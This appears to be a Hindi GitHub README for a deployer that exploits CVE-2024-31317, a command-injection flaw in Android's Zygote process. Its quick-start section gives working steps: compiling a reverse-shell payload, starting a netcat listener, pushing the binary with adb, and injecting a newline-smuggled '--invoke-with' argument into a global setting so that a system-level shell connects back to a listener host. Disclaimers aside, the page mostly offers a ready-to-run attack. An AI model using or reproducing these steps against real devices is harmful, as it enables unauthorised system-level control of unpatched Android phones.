CVE-2024-31317 डिप्लॉयर

🔒 सुरक्षा अनुसंधान वक्तव्य

यह परियोजना केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। इस उपकरण का उपयोग करके अनधिकृत परीक्षण करना अवैध है। लेखक किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है।

📋 परिचय

CVE-2024-31317 एक गंभीर सुरक्षा कमजोरी है जो Android 9 से Android 13 तक के उपकरणों को प्रभावित करती है, जो WRITE_SECURE_SETTINGS अनुमति वाले अनुप्रयोगों को कमांड इंजेक्शन के माध्यम से सिस्टम-स्तरीय अनुमति निष्पादन प्राप्त करने की अनुमति देती है।

यह परियोजना इस कमजोरी का विस्तृत तकनीकी विश्लेषण, प्रूफ-ऑफ-कॉन्सेप्ट कोड, और स्वचालित तैनाती उपकरण प्रदान करती है।

✨ मुख्य विशेषताएँ

📱 Android 9-13 के सभी संस्करणों का समर्थन
🛠️ स्वचालित तैनाती स्क्रिप्ट
🔄 रिवर्स शेल कनेक्शन
📊 विस्तृत तकनीकी दस्तावेज़
🎯 मॉड्यूलर डिज़ाइन

🐛 कमजोरी का विवरण

CVE ID: CVE-2024-31317
कमजोरी का प्रकार: कमांड इंजेक्शन
गंभीरता स्तर: उच्च (High)
CVSS स्कोर: 7.8
प्रभावित घटक: Android Zygote प्रक्रिया
फिक्स स्थिति: जून 2024 के Android सुरक्षा पैच में ठीक किया गया

🎯 प्रभाव का दायरा

प्रभावित संस्करण

✅ Android 9-13

अप्रभावित संस्करण

❌ Android 14+ (ठीक)
❌ जिन उपकरणों में जून 2024 या उसके बाद का सुरक्षा पैच स्थापित है

📁 परियोजना संरचना

CVE-2024-31317-Deployer/
├── README.md
├── LICENSE
├── VULNERABILITY_ANALYSIS.md
├── reverse_shell.c
├── compile.sh
├── payloads/
├── scripts/
└── docs/

🚀 त्वरित आरंभ

1. परियोजना क्लोन करें

git clone https://github.com/fcy10012/CVE-2024-31317-Deployer.git
cd CVE-2024-31317-Deployer

2. पेलोड संकलित करें

chmod +x compile.sh
./compile.sh

3. तैनाती

# लिसनर प्रारंभ करें
nc -lvnp 4444

# पुश करें और निष्पादित करें
adb push bin/reverse_shell_arm64 /data/local/tmp/reverse_shell
adb shell chmod 755 /data/local/tmp/reverse_shell

# पेलोड इंजेक्ट करें
adb shell settings put global hidden_api_blacklist_exemptions "L*\n--invoke-with /data/local/tmp/reverse_shell 192.168.1.100 4444"

# कमजोरी ट्रिगर करें
adb shell stop && adb shell start

📚 दस्तावेज़

⚠️ अस्वीकरण

यह परियोजना केवल सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। इस उपकरण का उपयोग करने का अर्थ है कि आप सहमत हैं:

सभी लागू कानूनों और विनियमों का पालन करें
केवल कानूनी सुरक्षा अनुसंधान के लिए उपयोग करें
अपने कार्यों की पूरी जिम्मेदारी लें

📜 लाइसेंस

यह परियोजना MIT लाइसेंस के तहत है - विस्तृत जानकारी के लिए LICENSE फ़ाइल देखें

👨‍💻 लेखक

fcy10012 - GitHub

🙏 आभार

संदर्भ परियोजना: WebLDix/CVE-2024-31317-PoC-Deployer

⭐ यदि यह परियोजना आपके लिए उपयोगी है, तो कृपया इसे एक स्टार दें!

सबसे लोकप्रिय

CVE-2024-31317-Deployer